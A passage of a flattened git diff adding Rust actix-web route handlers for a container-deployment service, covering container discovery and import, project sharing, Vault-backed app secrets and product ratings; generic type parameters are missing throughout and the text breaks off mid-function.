db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + // Get deployment_hash from query, the active project agent, or the latest + // deployment record. Active agent state is preferred because command + // history is keyed by the hash currently heartbeating, while the latest + // deployment row may be newer and still lack command results. + let deployment_hash = match &query.deployment_hash { + Some(hash) => hash.clone(), + None => { + if let Some(agent) = db::agent::fetch_active_by_project(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + { + agent.deployment_hash + } else { + let deployment = db::deployment::fetch_by_project_id(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + deployment.map(|d| d.deployment_hash).ok_or_else(|| { + JsonResponse::not_found( + "No deployment found for project. Please provide deployment_hash", + ) + })? + } + } + }; + + // Fetch all apps registered in this project + let registered_apps = db::project_app::fetch_by_project(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))?; + + // Fetch recent list_containers commands to get ALL running containers + let container_commands = db::command::fetch_recent_by_deployment( + pg_pool.get_ref(), + &deployment_hash, + 50, // Last 50 commands to find list_containers results + false, // Include results + ) + .await + .unwrap_or_default(); + + // Extract running containers from list_containers or health commands + let mut running_containers: Vec = Vec::new(); + + // First, try to find a list_containers result (has ALL containers) + for cmd in container_commands.iter() { + if cmd.r#type == "list_containers" && cmd.status == "completed" { + if let Some(result) = &cmd.result { + // Parse list_containers result which contains array of all containers + if let Some(containers_arr) = result.get("containers").and_then(|c| c.as_array()) { + for c in containers_arr { + let name = c + .get("name") + .and_then(|n| n.as_str()) + .unwrap_or("") + .to_string(); + if name.is_empty() { + continue; + } + let status = c + .get("status") + .and_then(|s| s.as_str()) + .unwrap_or("unknown") + .to_string(); + let image = c + .get("image") + .and_then(|i| i.as_str()) + .unwrap_or("") + .to_string(); + + if !running_containers.iter().any(|rc| rc.name == name) { + running_containers.push(ContainerInfo { + name: name.clone(), + image, + status, + app_code: None, // Will be matched later + }); + } + } + } + } + // Found list_containers result, prefer this over health checks + if !running_containers.is_empty() { + break; + } + } + } + + // Fallback: If no list_containers found, try health check results + if running_containers.is_empty() { + for cmd in container_commands.iter() { + if cmd.r#type == "health" && cmd.status == "completed" { + if let Some(result) = &cmd.result { + // Try to extract from system_containers array first + if let Some(system_arr) = + result.get("system_containers").and_then(|c| c.as_array()) + { + for c in system_arr { + let name = c + .get("container_name") + .or_else(|| c.get("app_code")) + .and_then(|n| n.as_str()) + .unwrap_or("") + .to_string(); + if name.is_empty() { + continue; + } + let status = c + .get("container_state") + .or_else(|| c.get("status")) + .and_then(|s| s.as_str()) + .unwrap_or("unknown") + .to_string(); + + if !running_containers.iter().any(|rc| rc.name == name) { + running_containers.push(ContainerInfo { + name: name.clone(), + image: String::new(), + status, + app_code: c + .get("app_code") + .and_then(|a| a.as_str()) + .map(|s| s.to_string()), + }); + } + } + } + + // Also try app_code from single-app health checks + if let Some(app_code) = result.get("app_code").and_then(|a| a.as_str()) { + let status = result + .get("container_state") + .and_then(|s| s.as_str()) + .unwrap_or("unknown") + .to_string(); + + if !running_containers.iter().any(|c| c.name == app_code) { + running_containers.push(ContainerInfo { + name: app_code.to_string(), + image: String::new(), + status, + app_code: Some(app_code.to_string()), + }); + } + } + } + } + } + } + + tracing::info!( + project_id = project_id, + deployment_hash = %deployment_hash, + registered_count = registered_apps.len(), + running_count = running_containers.len(), + "Discovered containers" + ); + + // Exclude system containers from discovery/import candidates + running_containers.retain(|container| { + !is_blocked_system_container( + &container.name, + &container.image, + container.app_code.as_deref(), + ) + }); + + // Classify containers + let mut registered = Vec::new(); + let mut unregistered = Vec::new(); + let mut missing_containers = Vec::new(); + + // Find registered apps with running containers + for app in ®istered_apps { + let matching_container = running_containers.iter().find(|c| { + // Try to match by app_code first + c.app_code.as_ref() == Some(&app.code) || + // Or by container name matching app code + container_matches_app(&c.name, &app.code) + }); + + if let Some(container) = matching_container { + registered.push(RegisteredContainerInfo { + app_code: app.code.clone(), + app_name: app.name.clone(), + container_name: container.name.clone(), + status: container.status.clone(), + }); + } else { + // App exists but no container found + missing_containers.push(MissingContainerInfo { + app_code: app.code.clone(), + app_name: app.name.clone(), + expected_pattern: app.code.clone(), + }); + } + } + + // Find running containers not registered + for container in &running_containers { + let is_registered = registered_apps.iter().any(|app| { + app.code == container.app_code.clone().unwrap_or_default() + || container_matches_app(&container.name, &app.code) + }); + + if !is_registered { + let (suggested_code, suggested_name) = + suggest_app_info(&container.name, &container.image); + + unregistered.push(DiscoveredContainer { + container_name: container.name.clone(), + image: container.image.clone(), + status: container.status.clone(), + suggested_code, + suggested_name, + }); + } + } + + let response = DiscoverResponse { + registered, + unregistered, + missing_containers, + }; + + tracing::info!( + project_id = project_id, + registered = response.registered.len(), + unregistered = response.unregistered.len(), + missing = response.missing_containers.len(), + "Container discovery complete" + ); + + Ok(JsonResponse::build() + .set_item(response) + .ok("Containers discovered")) +} + +/// Import unregistered containers into project_app +#[tracing::instrument(name = "Import containers", skip_all)] +#[post("/{project_id}/containers/import")] +pub async fn import_containers( + user: web::ReqData>, + path: web::Path, + body: web::Json, + pg_pool: web::Data, +) -> Result { + let project_id = path.into_inner(); + + // Verify project ownership + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|e| JsonResponse::internal_server_error(e))? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + let mut imported = Vec::new(); + let mut errors = Vec::new(); + + for container in &body.containers { + if is_blocked_system_container( + &container.container_name, + &container.image, + Some(&container.app_code), + ) { + errors.push(format!( + "Container '{}' is a system container and cannot be imported", + container.container_name + )); + continue; + } + + // Check if app_code already exists + let existing = db::project_app::fetch_by_project_and_code( + pg_pool.get_ref(), + project_id, + &container.app_code, + ) + .await + .ok() + .flatten(); + + if existing.is_some() { + errors.push(format!( + "App code '{}' already exists in project", + container.app_code + )); + continue; + } + + // Create new project_app entry + let app = ProjectApp { + id: 0, // Will be set by database + project_id, + code: container.app_code.clone(), + name: container.name.clone(), + image: container.image.clone(), + environment: Some(json!({})), + ports: Some(json!([])), + volumes: Some(json!([])), + domain: None, + ssl_enabled: Some(false), + resources: Some(json!({})), + restart_policy: Some("unless-stopped".to_string()), + command: None, + entrypoint: None, + networks: Some(json!([])), + depends_on: Some(json!([])), + healthcheck: Some(json!({})), + labels: Some(json!({})), + config_files: Some(json!([])), + template_source: None, + enabled: Some(true), + deploy_order: Some(100), // Default order + created_at: chrono::Utc::now(), + updated_at: chrono::Utc::now(), + config_version: Some(1), + vault_synced_at: None, + vault_sync_version: None, + config_hash: None, + parent_app_code: None, + deployment_id: None, + }; + + match db::project_app::insert(pg_pool.get_ref(), &app).await { + Ok(created) => { + imported.push(json!({ + "code": created.code, + "name": created.name, + "container_name": container.container_name, + })); + + tracing::info!( + user_id = %user.id, + project_id = project_id, + app_code = %created.code, + container_name = %container.container_name, + "Imported container" + ); + } + Err(e) => { + let error_msg = format!("Failed to import '{}': {}", container.app_code, e); + errors.push(error_msg); + } + } + } + + Ok(JsonResponse::build() + .set_item(Some(json!({ + "imported": imported, + "errors": errors, + "success_count": imported.len(), + "error_count": errors.len(), + }))) + .ok("Import complete")) +} + +// Helper structs + +#[derive(Debug, Deserialize)] +pub struct DiscoverQuery { + pub deployment_hash: Option, +} + +#[derive(Debug)] +struct ContainerInfo { + name: String, + image: String, + status: String, + app_code: Option, +} + +// Helper functions + +/// Check if a container name matches an app code +fn container_matches_app(container_name: &str, app_code: &str) -> bool { + // Exact match + if container_name == app_code { + return true; + } + + // Container ends with app_code (e.g., "statuspanel_agent" matches "agent") + if container_name.ends_with(app_code) { + return true; + } + + // Container is {app_code}_{number} or {app_code}-{number} + if container_name.starts_with(app_code) { + let suffix = &container_name[app_code.len()..]; + if suffix.starts_with('_') || suffix.starts_with('-') { + if let Some(rest) = suffix.get(1..) { + if rest.chars().all(|c| c.is_numeric()) { + return true; + } + } + } + } + + // Container is {project}-{app_code}-{number} + let parts: Vec<&str> = container_name.split('-').collect(); + if parts.len() >= 2 && parts[parts.len() - 2] == app_code { + return true; + } + + false +} + +/// Suggest app_code and name from container name and image +fn suggest_app_info(container_name: &str, image: &str) -> (String, String) { + // Try to extract service name from Docker Compose pattern: {project}_{service}_{replica} + if let Some(parts) = extract_compose_service(container_name) { + let code = parts.service.to_string(); + let name = capitalize(&code); + return (code, name); + } + + // Try to extract from project-service-replica pattern + let parts: Vec<&str> = container_name.split('-').collect(); + if parts.len() >= 2 { + let service = parts[parts.len() - 2]; + if !service.chars().all(|c| c.is_numeric()) { + return (service.to_string(), capitalize(service)); + } + } + + // Extract from image name (last part before tag) + if let Some(img_name) = image.split('/').last() { + if let Some(name_without_tag) = img_name.split(':').next() { + return (name_without_tag.to_string(), capitalize(name_without_tag)); + } + } + + // Fallback: use container name + (container_name.to_string(), capitalize(container_name)) +} + +struct ComposeServiceParts { + service: String, +} + +fn extract_compose_service(container_name: &str) -> Option { + let parts: Vec<&str> = container_name.split('_').collect(); + if parts.len() >= 2 { + // Last part should be replica number + if parts.last()?.chars().all(|c| c.is_numeric()) { + // Service is second to last + let service = parts[parts.len() - 2].to_string(); + return Some(ComposeServiceParts { service }); + } + } + None +} + +fn capitalize(s: &str) -> String { + let mut c = s.chars(); + match c.next() { + None => String::new(), + Some(f) => f.to_uppercase().chain(c).collect(), + } +} + +fn is_blocked_system_container(container_name: &str, image: &str, app_code: Option<&str>) -> bool { + let mut candidates: Vec = vec![normalize_app_code(container_name)]; + + if let Some(code) = app_code { + candidates.push(normalize_app_code(code)); + } + + if let Some(compose_parts) = extract_compose_service(container_name) { + candidates.push(normalize_app_code(&compose_parts.service)); + } + + if let Some(img_name) = image.split('/').last() { + if let Some(name_without_tag) = img_name.split(':').next() { + candidates.push(normalize_app_code(name_without_tag)); + } + } + + candidates.iter().any(|candidate| { + BLOCKED_SYSTEM_CONTAINERS.contains(&candidate.as_str()) + || is_platform_managed_app_code(candidate) + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn blocks_platform_managed_nginx_proxy_manager_container() { + assert!(is_blocked_system_container( + "nginx-proxy-manager", + "jc21/nginx-proxy-manager:latest", + None, + )); + assert!(is_blocked_system_container( + "project-nginx_proxy_manager-1", + "jc21/nginx-proxy-manager:latest", + Some("nginx_proxy_manager"), + )); + } + + #[test] + fn does_not_block_regular_application_container() { + assert!(!is_blocked_system_container( + "project-coolify-1", + "coollabsio/coolify:latest", + Some("coolify"), + )); + } +} diff --git a/stacker/stacker/src/routes/project/get.rs b/stacker/stacker/src/routes/project/get.rs new file mode 100644 index 0000000..7c5aa9e --- /dev/null +++ b/stacker/stacker/src/routes/project/get.rs @@ -0,0 +1,71 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Get logged user project.", skip_all)] +#[get("/{id}")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + // Get project apps of logged user only + let id = path.0; + + db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::internal_server_error(err.to_string())) + .and_then(|project| match project { + Some(project) if project.user_id != user.id => { + Err(JsonResponse::not_found("not found")) + } + Some(project) => Ok(JsonResponse::build().set_item(Some(project)).ok("OK")), + None => Err(JsonResponse::not_found("not found")), + }) +} + +#[tracing::instrument(name = "Get shared project list.", skip_all)] +#[get("/shared")] +pub async fn shared_list( + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + db::project::fetch_shared_by_user(pg_pool.get_ref(), &user.id) + .await + .map_err(|err| JsonResponse::internal_server_error(err)) + .map(|projects| JsonResponse::build().set_list(projects).ok("OK")) +} + +#[tracing::instrument(name = "Get project list.", skip_all)] +#[get("")] +pub async fn list( + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + db::project::fetch_by_user(pg_pool.get_ref(), &user.id) + .await + .map_err(|err| JsonResponse::internal_server_error(err)) + .map(|projects| JsonResponse::build().set_list(projects).ok("OK")) +} + +//admin's endpoint +#[tracing::instrument(name = "Get user's project list.", skip_all)] +#[get("/user/{id}")] +pub async fn admin_list( + _user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result { + // This is admin endpoint, used by a client app, client app is confidential + // it should return projects by user id + // in order to pass validation at external deployment service + let user_id = path.into_inner().0; + + db::project::fetch_by_user(pg_pool.get_ref(), &user_id) + .await + .map_err(|err| JsonResponse::internal_server_error(err)) + .map(|projects| JsonResponse::build().set_list(projects).ok("OK")) +} diff --git a/stacker/stacker/src/routes/project/member.rs b/stacker/stacker/src/routes/project/member.rs new file mode 100644 index 0000000..e9e538a --- /dev/null +++ b/stacker/stacker/src/routes/project/member.rs @@ -0,0 +1,100 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{delete, get, post, web, HttpResponse, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct AddProjectMemberRequest { + pub user_id: String, + pub role: String, +} + +async fn fetch_owned_project( + pool: &PgPool, + project_id: i32, + user_id: &str, +) -> Result { + let project = db::project::fetch(pool, project_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + if project.user_id != user_id { + return Err(JsonResponse::::build().not_found("not found")); + } + + Ok(project) +} + +#[tracing::instrument(name = "Share project with member", skip_all)] +#[post("/{id}/members")] +pub async fn add( + user: web::ReqData>, + path: web::Path<(i32,)>, + payload: web::Json, + pg_pool: web::Data, +) -> Result { + let project_id = path.0; + + let _project = fetch_owned_project(pg_pool.get_ref(), project_id, &user.id).await?; + + if payload.role != "viewer" { + return Err(JsonResponse::::build() + .bad_request("Only viewer role is supported")); + } + + let member = db::project_member::upsert( + pg_pool.get_ref(), + project_id, + &payload.user_id, + &payload.role, + &user.id, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + Ok(JsonResponse::build().set_item(member).ok("OK")) +} + +#[tracing::instrument(name = "List project members", skip_all)] +#[get("/{id}/members")] +pub async fn list( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let project_id = path.0; + + let _project = fetch_owned_project(pg_pool.get_ref(), project_id, &user.id).await?; + + let members = db::project_member::fetch_by_project(pg_pool.get_ref(), project_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + Ok(JsonResponse::build().set_list(members).ok("OK")) +} + +#[tracing::instrument(name = "Delete project member", skip_all)] +#[delete("/{id}/members/{member_user_id}")] +pub async fn delete( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, member_user_id) = path.into_inner(); + + let _project = fetch_owned_project(pg_pool.get_ref(), project_id, &user.id).await?; + + let deleted = db::project_member::delete(pg_pool.get_ref(), project_id, &member_user_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if !deleted { + return Err(JsonResponse::::build().not_found("not found")); + } + + Ok(HttpResponse::NoContent().finish()) +} diff --git a/stacker/stacker/src/routes/project/mod.rs b/stacker/stacker/src/routes/project/mod.rs new file mode 100644 index 0000000..e9ed79b --- /dev/null +++ b/stacker/stacker/src/routes/project/mod.rs @@ -0,0 +1,15 @@ +pub mod add; +pub mod app; +pub(crate) mod compose; +pub(crate) mod delete; +pub mod deploy; +pub mod discover; +pub mod get; +pub mod member; +pub mod secret; +pub mod update; + +pub use add::item; +// pub use update::*; +// pub use deploy::*; +// pub use get::*; diff --git a/stacker/stacker/src/routes/project/secret.rs b/stacker/stacker/src/routes/project/secret.rs new file mode 100644 index 0000000..8ee94c4 --- /dev/null +++ b/stacker/stacker/src/routes/project/secret.rs @@ -0,0 +1,177 @@ +use crate::db; +use crate::forms::{RemoteSecretMetadataResponse, UpsertRemoteSecretRequest}; +use crate::helpers::JsonResponse; +use crate::models; +use crate::services::VaultService; +use actix_web::{delete, get, put, web, Responder, Result}; +use serde_json::json; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +async fn fetch_owned_project_and_app( + pool: &PgPool, + user: &models::User, + project_id: i32, + app_code: &str, +) -> Result<(models::Project, models::ProjectApp), actix_web::Error> { + let project = db::project::fetch(pool, project_id) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("Project not found"))?; + + if project.user_id != user.id { + return Err(JsonResponse::not_found("Project not found")); + } + + let app = db::project_app::fetch_by_project_and_code(pool, project_id, app_code) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("App not found"))?; + + Ok((project, app)) +} + +fn build_vault( + settings: &crate::configuration::Settings, +) -> Result { + VaultService::from_settings(&settings.vault) + .map_err(|error| JsonResponse::internal_server_error(error.to_string())) +} + +#[tracing::instrument(name = "List service secrets", skip_all)] +#[get("/{project_id}/apps/{code}/secrets")] +pub async fn list( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, code) = path.into_inner(); + let (_project, _app) = + fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?; + + let items: Vec = + db::remote_secret::list_service_secrets(pg_pool.get_ref(), &user.id, project_id, &code) + .await + .map_err(JsonResponse::internal_server_error)? + .into_iter() + .map(Into::into) + .collect(); + + Ok(JsonResponse::build() + .set_list(items) + .set_meta(json!({ + "project_id": project_id, + "app_code": code + })) + .ok("OK")) +} + +#[tracing::instrument(name = "Get service secret metadata", skip_all)] +#[get("/{project_id}/apps/{code}/secrets/{name}")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32, String, String)>, + pg_pool: web::Data, +) -> Result { + let (project_id, code, name) = path.into_inner(); + let (_project, _app) = + fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?; + + let secret = db::remote_secret::fetch_service_secret( + pg_pool.get_ref(), + &user.id, + project_id, + &code, + &name, + ) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("Secret not found"))?; + + Ok(JsonResponse::build() + .set_item(RemoteSecretMetadataResponse::from(secret)) + .ok("OK")) +} + +#[tracing::instrument(name = "Upsert service secret", skip_all)] +#[put("/{project_id}/apps/{code}/secrets/{name}")] +pub async fn upsert( + user: web::ReqData>, + path: web::Path<(i32, String, String)>, + body: web::Json, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let (project_id, code, name) = path.into_inner(); + let (_project, _app) = + fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?; + body.validate() + .map_err(|e| JsonResponse::bad_request(e.to_string()))?; + + let vault = build_vault(settings.get_ref())?; + let vault_path = vault.service_secret_path(&user.id, project_id, &code, &name); + vault + .store_secret_value(&vault_path, &body.value) + .await + .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?; + + let secret = db::remote_secret::upsert_service_secret( + pg_pool.get_ref(), + &user.id, + project_id, + &code, + &name, + &vault_path, + &user.id, + "synced", + ) + .await + .map_err(JsonResponse::internal_server_error)?; + + Ok(JsonResponse::build() + .set_item(RemoteSecretMetadataResponse::from(secret)) + .ok("OK")) +} + +#[tracing::instrument(name = "Delete service secret", skip_all)] +#[delete("/{project_id}/apps/{code}/secrets/{name}")] +pub async fn delete( + user: web::ReqData>, + path: web::Path<(i32, String, String)>, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let (project_id, code, name) = path.into_inner(); + let (_project, _app) = + fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?; + + let secret = db::remote_secret::fetch_service_secret( + pg_pool.get_ref(), + &user.id, + project_id, + &code, + &name, + ) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("Secret not found"))?; + + let vault = build_vault(settings.get_ref())?; + vault + .delete_secret_value(&secret.vault_path) + .await + .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?; + + db::remote_secret::delete_secret_by_id(pg_pool.get_ref(), secret.id) + .await + .map_err(JsonResponse::internal_server_error)?; + + Ok(JsonResponse::::build() + .set_meta(json!({ + "deleted": true, + "name": name, + "scope": "service" + })) + .ok("OK")) +} diff --git a/stacker/stacker/src/routes/project/service.rs b/stacker/stacker/src/routes/project/service.rs new file mode 100644 index 0000000..e69de29 diff --git a/stacker/stacker/src/routes/project/update.rs b/stacker/stacker/src/routes/project/update.rs new file mode 100644 index 0000000..de101b9 --- /dev/null +++ b/stacker/stacker/src/routes/project/update.rs @@ -0,0 +1,86 @@ +use crate::db; +use crate::forms::project::{DockerImageReadResult, ProjectForm}; +use crate::helpers::JsonResponse; +use crate::models; +use crate::project_app; +use actix_web::{put, web, Responder, Result}; +use serde_json::Value; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Update project.", skip_all)] +#[put("/{id}")] +pub async fn item( + path: web::Path<(i32,)>, + web::Json(request_json): web::Json, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let id = path.0; + let mut project = db::project::fetch(pg_pool.get_ref(), id) + .await + .map_err(JsonResponse::internal_server_error) + .and_then(|project| match project { + Some(project) if project.user_id != user.id => { + Err(JsonResponse::not_found("Project not found")) + } + Some(project) => Ok(project), + None => Err(JsonResponse::not_found("Project not found")), + })?; + + // @todo ACL + let form: ProjectForm = serde_json::from_value(request_json.clone()) + .map_err(|err| JsonResponse::bad_request(err.to_string()))?; + + if !form.validate().is_ok() { + let errors = form.validate().unwrap_err(); + return Err(JsonResponse::bad_request(errors.to_string())); + } + + let project_name = form.custom.custom_stack_code.clone(); + + match form.is_readable_docker_image().await { + Ok(result) => { + if false == result.readable { + return Err(JsonResponse::::build() + .set_item(result) + .bad_request("Can not access docker image")); + } + } + Err(e) => { + return Err(JsonResponse::::build().bad_request(e)); + } + } + + let metadata: Value = serde_json::to_value::(form.clone()) + .or(serde_json::to_value::(ProjectForm::default())) + .unwrap(); + + project.name = project_name; + project.metadata = metadata; + project.request_json = request_json; + + let project = db::project::update(pg_pool.get_ref(), project) + .await + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::internal_server_error("") + })?; + + project_app::sync_project_level_apps_from_form(pg_pool.get_ref(), project.id, &form) + .await + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + tracing::error!( + "Failed to sync project-level apps for project {} after update: {}", + project.id, + err + ); + JsonResponse::internal_server_error("") + })?; + + Ok(JsonResponse::::build() + .set_item(project) + .ok("success")) +} diff --git a/stacker/stacker/src/routes/rating/add.rs b/stacker/stacker/src/routes/rating/add.rs new file mode 100644 index 0000000..69e91b6 --- /dev/null +++ b/stacker/stacker/src/routes/rating/add.rs @@ -0,0 +1,53 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use crate::views; +use actix_web::{post, web, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Add rating.", skip_all)] +#[post("")] +pub async fn user_add_handler( + user: web::ReqData>, + form: web::Json, + pg_pool: web::Data, +) -> Result { + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let _product = db::product::fetch_by_obj(pg_pool.get_ref(), form.obj_id) + .await + .map_err(|_msg| JsonResponse::::build().internal_server_error(_msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + let rating = db::rating::fetch_by_obj_and_user_and_category( + pg_pool.get_ref(), + form.obj_id, + user.id.clone(), + form.category, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if rating.is_some() { + return Err(JsonResponse::::build().bad_request("already rated")); + } + + let mut rating: models::Rating = form.into_inner().into(); + rating.user_id = user.id.clone(); + + db::rating::insert(pg_pool.get_ref(), rating) + .await + .map(|rating| { + JsonResponse::build() + .set_item(Into::::into(rating)) + .ok("success") + }) + .map_err(|_err| { + JsonResponse::::build().internal_server_error("Failed to insert") + }) +} diff --git a/stacker/stacker/src/routes/rating/delete.rs b/stacker/stacker/src/routes/rating/delete.rs new file mode 100644 index 0000000..8bce6bb --- /dev/null +++ b/stacker/stacker/src/routes/rating/delete.rs @@ -0,0 +1,60 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use crate::views; +use actix_web::{delete, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "User delete rating.", skip_all)] +#[delete("/{id}")] +pub async fn user_delete_handler( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let rate_id = path.0; + let mut rating = db::rating::fetch(pg_pool.get_ref(), rate_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|rating| match rating { + Some(rating) if rating.user_id == user.id && rating.hidden == Some(false) => Ok(rating), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + let _ = rating.hidden.insert(true); + + db::rating::update(pg_pool.get_ref(), rating) + .await + .map(|_rating| JsonResponse::::build().ok("success")) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("Rating not update") + }) +} + +#[tracing::instrument(name = "Admin delete rating.", skip_all)] +#[delete("/{id}")] +pub async fn admin_delete_handler( + _user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let rate_id = path.0; + let rating = db::rating::fetch(pg_pool.get_ref(), rate_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|rating| match rating { + Some(rating) => Ok(rating), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + db::rating::delete(pg_pool.get_ref(), rating) + .await + .map(|_| JsonResponse::::build().ok("success")) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build() + .internal_server_error("Rating not deleted") + }) +} diff --git a/stacker/stacker/src/routes/rating/edit.rs b/stacker/stacker/src/routes/rating/edit.rs new file mode 100644 index 0000000..0646dd2 --- /dev/null +++ b/stacker/stacker/src/routes/rating/edit.rs @@ -0,0 +1,85 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use crate::views; +use actix_web::{put, web, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +// workflow +// add, update, list, get(user_id), ACL, +// ACL - access to func for a user +// ACL - access to objects for a user + +#[tracing::instrument(name = "User edit rating.", skip_all)] +#[put("/{id}")] +pub async fn user_edit_handler( + path: web::Path<(i32,)>, + user: web::ReqData>, + form: web::Json, + pg_pool: web::Data, +) -> Result { + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let rate_id = path.0; + let mut rating = db::rating::fetch(pg_pool.get_ref(), rate_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|rating| match rating { + Some(rating) if rating.user_id == user.id && rating.hidden == Some(false) => Ok(rating), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + form.into_inner().update(&mut rating); + + db::rating::update(pg_pool.get_ref(), rating) + .await + .map(|rating| { + JsonResponse::build() + .set_item(Into::::into(rating)) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("Rating not update") + }) +} + +#[tracing::instrument(name = "Admin edit rating.", skip_all)] +#[put("/{id}")] +pub async fn admin_edit_handler( + path: web::Path<(i32,)>, + form: web::Json, + pg_pool: web::Data, +) -> Result { + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let rate_id = path.0; + let mut rating = db::rating::fetch(pg_pool.get_ref(), rate_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|rating| match rating { + Some(rating) => Ok(rating), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + form.into_inner().update(&mut rating); + + db::rating::update(pg_pool.get_ref(), rating) + .await + .map(|rating| { + JsonResponse::::build() + .set_item(Into::::into(rating)) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("Rating not update") + }) +} diff --git a/stacker/stacker/src/routes/rating/get.rs b/stacker/stacker/src/routes/rating/get.rs new file mode 100644 index 0000000..ce51c75 --- /dev/null +++ b/stacker/stacker/src/routes/rating/get.rs @@ -0,0 +1,84 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::views; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::convert::Into; + +#[tracing::instrument(name = "Anonymouse get rating.", skip_all)] +#[get("/{id}")] +pub async fn anonymous_get_handler( + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let rate_id = path.0; + let rating = db::rating::fetch(pg_pool.get_ref(), rate_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|rating| match rating { + Some(rating) if rating.hidden == Some(false) => Ok(rating), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + Ok(JsonResponse::build() + .set_item(Into::::into(rating)) + .ok("OK")) +} + +#[tracing::instrument(name = "Anonymous get all ratings.", skip_all)] +#[get("")] +pub async fn anonymous_list_handler( + _path: web::Path<()>, + pg_pool: web::Data, +) -> Result { + db::rating::fetch_all_visible(pg_pool.get_ref()) + .await + .map(|ratings| { + let ratings = ratings + .into_iter() + .map(Into::into) + .collect::>(); + + 